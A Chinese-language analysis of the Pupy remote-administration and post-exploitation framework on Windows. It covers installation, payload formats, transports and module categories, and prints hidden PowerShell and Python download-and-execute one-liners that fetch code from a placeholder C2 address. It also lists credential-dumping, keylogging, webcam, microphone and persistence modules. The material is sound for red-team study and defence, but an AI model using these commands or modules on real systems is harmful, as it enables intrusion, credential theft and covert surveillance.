Pupy利用分析——Windows平台下的功能
0x00 前言
Pupy是使用Python開發的跨平台遠程管理和後期開發工具,支持很多實用的功能。
本文將要對Pupy在Windows平台的啟動文件類型、連接方式和通信協議進行介紹,將其中的後滲透模塊進行分類,逐個介紹功能。
0x01 簡介
本文將要介紹以下內容:
·安裝方法
·支持的啟動文件類型
·支持的連接方式
·支持的通信協議
·後滲透模塊介紹
0x02 安裝方法
1. 使用docker
說明文檔:https://github.com/n1nj4sec/pupy/wiki/Installation
2.直接安裝
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyws
pupyws/bin/pupysh
注:使用-DG參數將從https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz下載模板文件。
0x03 支持的啟動文件類型
啟動pupy後,輸入gen -h獲得生成啟動文件的說明,如下圖:
這裡逐個進行介紹:
1.client
生成exe格式的文件。
生成64位exe文件的命令示例:
gen -f client -A x64
這個命令將從pupy/pupy/payload_templates/讀取模板文件,添加配置信息後生成最終的exe文件。
註:
2.py
生成一個完全打包的Python文件(所有依賴項都從內存打包並執行)。
命令示例:
gen -f py
這個命令會生成一個Python文件,內容的格式如下:
import zlib,marshal;exec marshal.loads(zlib.decompress("xxxxxxxxx")
其中"xxxxxxxxx"為加密的內容。
加密的方法大致為使用marshal.dumps對代碼進行序列化,再加上偏移、異或等操作,具體加密演算法可參考:
https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/utils/obfuscate.py#L9
如果想要取消加密過程並獲得源文件,可以加上--debug參數,示例如下:
gen -f py --debug
對應代碼位置:https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/payloads/py_oneliner.py#L43
代碼判斷邏輯如下:
if debug:
return payload
return compress_encode_obfs(payload, main=True)
如果要在Windows系統的Python環境下運行這個Python文件,Windows系統還需要安裝以下模塊:
·pywin32
·pycryptodome
·Crypto
註:Crypto包需要從http://www.voidspace.org.uk/python/modules.shtml#pycrypto處下載。
3.pyinst
生成與pyinstaller兼容的Python文件。
命令示例:
gen -f pyinst
同gen -f py的區別:添加了一些頭文件,便於使用pyinstaller將Python腳本轉換成exe文件。
在之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發》介紹過pyinstaller的用法。
4.py_oneliner
通過urllib庫從伺服器下載Python代碼並執行。
命令示例:
gen -f py_oneliner
在命令行輸出下載執行的代碼,示例:
python -c "import urllib;exec urllib.urlopen("http://192.168.1.1:9000/a0py9Yz5pi/Sg11A11q2J").read()"
5.ps1
生成powershell格式的啟動代碼,執行時會先啟動Powershell進程,然後在Powershell進程中載入dll。
生成32位文件的命令示例:
gen -f ps1
這個命令將從pupy/pupy/payload_templates/讀取dll的模板文件,添加配置信息和經過混淆的Invoke-ReflectivePEInjection代碼,最終實現在Powershell進程中載入dll。
註:上述命令對應的模板文件名稱為pupyx86.dll
6.ps1_oneliner
通過IEX(New-Object Net.WebClient).DownloadString從伺服器下載powershell代碼並執行。
命令示例:
gen -f ps1_oneliner
在命令行輸出下載執行的代碼,示例:
powershell.exe -w hidden -noni -nop -c "IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.1:9000/DfsP5d2GPG/xDrhpNdNTU");"
在命令行輸出執行base64編碼的代碼,示例:
powershell.exe -w hidden -noni -nop -enc xxxxxxxxxxxxxxxxxxxx
7.rubber_ducky
生成一個Rubber Ducky腳本和inject.bin文件。
命令示例:
gen -f rubber_ducky
8.csharp
生成C#文件(.cs格式)
命令示例:
gen -f csharp
這個命令將從pupy/pupy/payload_templates/讀取dll格式的模板文件,添加配置信息,使用Casey Smith的PELoader從內存載入PE文件。
註:上述命令對應的模板文件名稱為pupyx86.dll。
9..NET
生成C#文件(.cs格式)並通過mono編譯,最終生成exe格式的文件。
命令示例:
gen -f .NET
註:需要安裝mono開發環境,kali安裝命令為apt-get install mono-mcs。
關於mono的使用可以參考之前的文章《通過Mono(跨平台.NET運行環境)執行shellcode》。
這個命令是在gen -f csharp的基礎上,添加了使用mono編譯的功能。
10..NET_oneliner
通過powershell從內存載入.NET程序集。
命令示例:
gen -f .NET_oneliner
在命令行輸出Powershell代碼,示例:
powershell -w hidden -enc "xxxxxxxxxxxxxx"
這個命令是在gen -f .NET的基礎上,添加了通過powershell從內存載入.NET程序集的功能。
powershell從內存載入.NET程序集的實現代碼如下:
[Reflection.Assembly]::Load(""(new-object net.webclient).DownloadData("""http://:")).GetTypes()[0].GetMethods("")[0].Invoke($null,@())"
之前的文章《從內存載入.NET程序集(Assembly.Load)的利用分析》分析過從內存載入.NET程序集的方法
補充:額外的參數
對於生成的啟動文件,還支持以下參數:
·是否壓縮
·是否使用系統代理
·設置連接次數和間隔時間
·設置啟動前執行的Python腳本
0x04 支持的連接方式
支持以下四種:
·bind,綁定埠,作為正向連接使用
·auto_proxy,檢索可能的SOCKS/HTTP代理列表並使用,檢索方法包括:註冊表,WPAD請求,gnome設置,環境變數HTTP_PROXY
·dnscnc,dns協議?(這個功能暫時無法測試)
·connect,默認方式,反向連接到伺服器
0x05 支持的通信協議
可通過命令gen -l獲得列表。
說明文檔:
https://github.com/n1nj4sec/pupy/wiki/Get-Started#transport
目前支持以下類別:
·obfs3
·http
·ssl
·ecm
·tcp_cleartext
·dfws
·rsa
·udp_secure
·kc4
·ec4
·ws
·scramblesuit
·udp_cleartext
·ssl_rsa
以上類別的通信協議可以進行自定義,修改位置:pupy/pupy/network/transports/
0x06 後滲透模塊介紹
常用命令:
設置監聽埠:listen -a ssl 8443
查看會話:sessions
切換會話:sessions -i
結束會話:sessions -k
用法實例如下圖:
獲得session後輸入help -M可以顯示支持的後滲透模塊,這裡將其中的後滲透模塊進行分類,逐個介紹功能。
1.提權
(1)使用beroot獲得可用來提權的信息,模塊:beroot
源碼地址:https://github.com/AlessandroZ/BeRoot
(2)使用WinPwnage嘗試提權,模塊:bypassuac
源碼地址:https://github.com/rootm0s/WinPwnage
(3)切換至system許可權,模塊:getsystem
(4)使用WindowsPowerShell ADIDNS/LLMNR/mDNS/NBNS欺騙者/中間人工具Inveigh,模塊:inveigh
源碼地址:https://github.com/Kevin-Robertson/Inveigh
2.進程
(1)列出/模擬進程token,模塊:impersonate
關於token的利用方法可以參考之前的文章《滲透技巧——Token竊取與利用》。
(2)獲得當前許可權,模塊:getprivs
關於許可權的利用方法可以參考之前的文章《滲透技巧——Windows Token九種許可權的利用》。
(3)獲得當前進程的父進程,模塊:getppid
通過父進程進行許可權切換可以參考之前的文章《滲透技巧——從Admin許可權切換到System許可權》。
3.憑據獲取
(1)使用Lazagne獲取憑據,模塊:lazagne
源碼地址:https://github.com/AlessandroZ/LaZagne/
之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發》曾介紹過LaZagne。
(2)從註冊表導出本地用戶hash,模塊:creddump
相關細節可以參考之前的文章《滲透技巧——通過SAM資料庫獲得本地用戶hash》。
(3)監控內存並查找明文憑據,模塊:loot_memory
開啟後會持續監控內存。
(4)從進程內存dump可列印的字元串以供進一步分析,模塊:memstrings
可以針對指定進程,輸出的格式為文本文件。
4.網路相關
(1)通過HTTP協議發送Get/Post請求,模塊:http
(2)TCP埠掃描,模塊:port_scan
(3)埠轉發和socks代理,模塊:forward
(4)抓包,模塊:tcpdump
(5)UPnP操作,模塊:igd
(6)從伺服器獲得證書,模塊:x509
5.屏幕控制
(1)通過瀏覽器控制目標屏幕的模塊:rdesktop
載入後,通過瀏覽器能夠控制目標的屏幕,如下圖:
不僅能夠查看屏幕內容,也能夠發送滑鼠和鍵盤消息。
註:這裡不使用遠程桌面協議(RDP)。
(2)使用遠程桌面協議(RDP),模塊:rdp
可以用來開啟或關閉遠程桌面連接,還支持用來驗證遠程主機的憑據。
6.監控
(1)鍵盤和剪貼板記錄,模塊:keylogger
(2)記錄滑鼠點擊並截圖周圍區域,模塊:mouselogger
(3)截圖,模塊:screenshot
(4)麥克風錄音,模塊:record_mic
(5)攝像頭拍照,模塊:webcamsnap
7.獲得系統信息
(1)查看日誌,模塊:logs
不同類型對應不同的顏色,如下圖:
(2)註冊表,模塊:reg
包括查詢、增加、刪除、修改、搜索操作。
不同類型對應不同的顏色,如下圖:
(3)列出本地和遠程共享文件夾及許可權,模塊:shares
(4)查看當前登錄用戶,模塊:w
(5)獲取服務信息,模塊:services
(6)獲取時間,模塊:date
(7)檢索EC2/DigitalOcean元數據,模塊:cloudinfo
(8)查看和修改環境變數,模塊:env
(9)虛擬機檢測,模塊:check_vm
支持識別以下虛擬機:
·Hyper-V
·VMWare
·Virtual PC
·Virtual Box
·Xen Machine
·Qemu machine
識別方法:查詢註冊表
8.執行Python命令
(1)執行單條命令,模塊:pyexec
命令示例:
pyexec -c "import platform;print platform.uname()"
(2)在互動式shell中執行Python命令,模塊:pyshell
命令示例:
pyshell
import platform
print platform.uname()
(3)載入Python包,模塊:load_package
9.執行cmd命令
(1)通過subprocess執行cmd命令,模塊:shell_exec
命令示例:
shell_exec whoami
(2)在線程上執行的簡單popen調用(速度慢但更安全),模塊:pexec
命令示例:
pexec whoami
(3)互動式shell,模塊:interactive_shell
修改自winpty
(4)執行shellcode,模塊:shellcode_exec
(5)內存執行文件,模塊:memory_exec
10.遠程執行cmd命令
使用smbexec/wmiexec實現遠程執行命令,模塊:psexec
支持使用hash。
11.維持許可權
(1)持久化,模塊:persistence
更多方式可參考:https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence
(2)複製當前Session,模塊:duplicate
(3)遷移進程,模塊:migrate
12.mimikatz
(1)內存載入mimikatz,執行單條命令,模塊:mimikatz
(2)內存載入mimikatz,互動式,模塊:mimishell
13.powerview
(1)直接調用,模塊:powerview
(2)使用Python重寫,模塊:pywerview
14.文件操作
(1)上傳,模塊:upload
(2)下載,模塊:download
(3)查看文件或文件夾的屬性,模塊:stat
(4)編輯文件,模塊:edit
(5)寫入文件,模塊:write
(6)使用Windows Search Index搜索文件,模塊:isearch
(7)搜索指定目錄下所有文件中的字元,模塊:search
(8)通過SMB協議訪問文件共享,模塊:smb
(9)連接遠程共享目錄並搜索文件,模塊:smbspider
15.ssh客戶端
(1)連接遠程ssh伺服器並執行命令,模塊:ssh
(2)連接遠程ssh伺服器獲得完整互動式會話,模塊:sshell
16.outlook
與目標用戶的Outlook會話交互,模塊:outlook
17.壓縮與解壓縮
zip壓縮與解壓縮,模塊:zip
18.鎖屏
模塊:lock_screen
19.查看回連Session的信息
(1)獲得所有Session的網路信息,模塊:netstat
(2)獲得當前Session的信息,模塊:get_info
(3)查看已獲得的憑據信息,命令:creds
(4)查看server的配置信息,命令:config
0x07 小結
本文介紹了Pupy在Windows平台下的啟動文件類型、連接方式和通信協議,將其中的後滲透模塊進行分類,逐個介紹功能。
※The Turkish Rat攻擊活動傳播Adwind木馬
※2020年Pwn2Own中VMware虛擬機逃逸最新UAF漏洞分析